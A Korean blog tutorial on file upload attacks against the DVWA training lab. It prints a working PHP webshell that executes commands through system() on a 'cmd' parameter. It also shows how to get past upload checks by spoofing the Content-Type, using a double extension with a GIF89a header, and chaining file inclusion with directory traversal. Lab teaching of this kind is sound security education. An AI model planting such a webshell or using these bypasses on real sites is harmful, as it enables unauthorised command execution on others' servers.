오늘은 파일 업로드 공격을 배워보겠습니다. 파일 업로드 공격이란 파일이 업로드 될 수 있는 페이지에 악성 파일(웹쉘)을 업로드하는 것 입니다. 웹쉘이란 커맨드 인젝션에서 본 것과 비슷하게 웹을 통해 시스템 명령어를 실행할 수 있는 페이지 입니다.
실습을 해보도록 하겠습니다. dvwa 를 열고 보안 등급을 low 로 해주세요.
웹쉘 파일 올려보겠습니다.
저희가 사용할 웹쉘의 내용은 이러합니다. php 프로그램으로 초반엔 커맨드를 입력해라는 내용과 사용자 입력을 받기 위한 폼을 표시하는 html 를 출력하고 cmd 라는 값이 설정되어있으면 system 이란 함수로 실행되는 내용입니다.
즉 사용자가 입력한 명령어를 실행하게 됩니다.
<?php
//
// PoC: a simple webshell
// Author: Bonghwan Choi
//
echo 'Enter a Command:<br>';
echo '<form action="">';
echo '<input type=text name="cmd">';
echo '<input type="submit">';
echo '</form>';
if (isset($_GET['cmd'])) {
system($_GET['cmd']);
}
?>
https://github.com/SecuAcademy/webhacking/blob/master/webshell.php
영상을 제작한 분께서 깃헙에 코드를 올려놓으셨으니 Raw를 눌리고 터미널에 가서 wget로 다운을 하면 됩니다.
이제 파일을 업로드 해보겠습니다.
보시면 '../'가 두번 입력된 것을 볼 수 있습니다. 이는 상위 폴더로 두번 이동한것이고 현재 주소창이
이러하기 때문에
성공적으로 이동하면 이런 페이지가 나옵니다.
이제 미디엄 단계로 가보겠습니다. 단계를 설정하고 그전 단계에서처럼 웹쉘을 업로드하면
이런 페이지가 나오면서 업로드에 실패합니다. 버프 스위트를 키겠습니다. 파일을 업로드할때를 인터셉트 해보겠습니다. 프록시의 인터셉트를 on으로 바꿔봅니다.
인터셉트를 했습니다. 보면 우리가 php파일을 올렸기 때문에 자동으로 php파일을 올렸다고 표시가 됩니다. 이 부분을 조작해보겠습니다. 'image/jpeg'로 바꾸고 forward를 누르면 업로드에 성공했다고 나옵니다. Content-type 만 검사해서는 불충분한 대응임을 알 수 있습니다.
이제 high 단계로 가보겠습니다. 인터셉트를 꺼주시고 보안 등급을 올립니다.
소스코드를 확인하며 어떻게 우회를 할지 생각해봅시다.
보시면 파일의 확장자를 검사하여 이미지 파일인지 확인하고 있습니다. 또한 이미지의 사이즈를 확인하여 검사합니다.
전보단 낫지만 이 방법도 우회가 가능합니다.
버프스위프의 인터셉트 기능을 켜줍니다.
이 부분을 'webshell.php.jpg' 로 바꿉니다. 또 사이즈 검사 함수를 피하기 위해 파일 앞에 GIF89a를 입력합니다. 이는 이미지 파일에 표준에 정의된 값으로 이걸 파일 앞에 입력하면 이미지 파일인거처럼 속일 수 있습니다.
forward 하시면 실행이 되는 걸 볼 수 있습니다. 근데 이상합니다.
아.. jpg 파일이 실행됩니다. 끝에 php 파일로 끝나야만 프로그램이 실행이 됩니다. 그럼 어떻게 해야할까요. 만약 파일 인클루젼 공격이 가능한 경우 이를 조합하여 실행할 수 있습니다. 비록 파일 이름은 jpg 이더라도 코드는 php 이기 때문에 인클루젼을 하면 실행할 수 있습니다. 인터셉트를 끄시고 다시 dvwa로 갑니다. 파일 인클루젼 탭에 들어갑니다. 사실 보안 등급이 high이기 때문에 인클루젼 탭도 우회해주어야합니다. file/을 칩니다. file/을 쳤다는 건 상위 디렉토리로 올라간 것입니다. 그리고 두번 더 올라가야 하기 때문에 '../'를 세번 입력해줍니다.
사실 여기서 명령어를 입력하면 우리의 셈플로는 에러가 납니다. 그래서 주소창에 파라미터에서 바로 cmd 를 넘겨주도록 하겠습니다.
폼으로 넘겨주니 정보가 출력되었습니다. 이처럼 많은 공격을 조합하여 웹을 해킹할 수 있습니다.
오늘은 파일 업로드 공격을 실습해봤습니다. 대응편도 있으니 아래의 포스팅을 눌러주세요!
'해킹 > 웹해킹' 카테고리의 다른 글
CAPTCHA 공격 (0) | 2020.05.07 |
---|---|
파일 업로드 대응 방법 (0) | 2020.05.06 |
파일 인클루젼 공격대응 (0) | 2020.05.04 |
파일 인클루젼 공격 (0) | 2020.05.04 |
CSRF 공격대응 (0) | 2020.05.03 |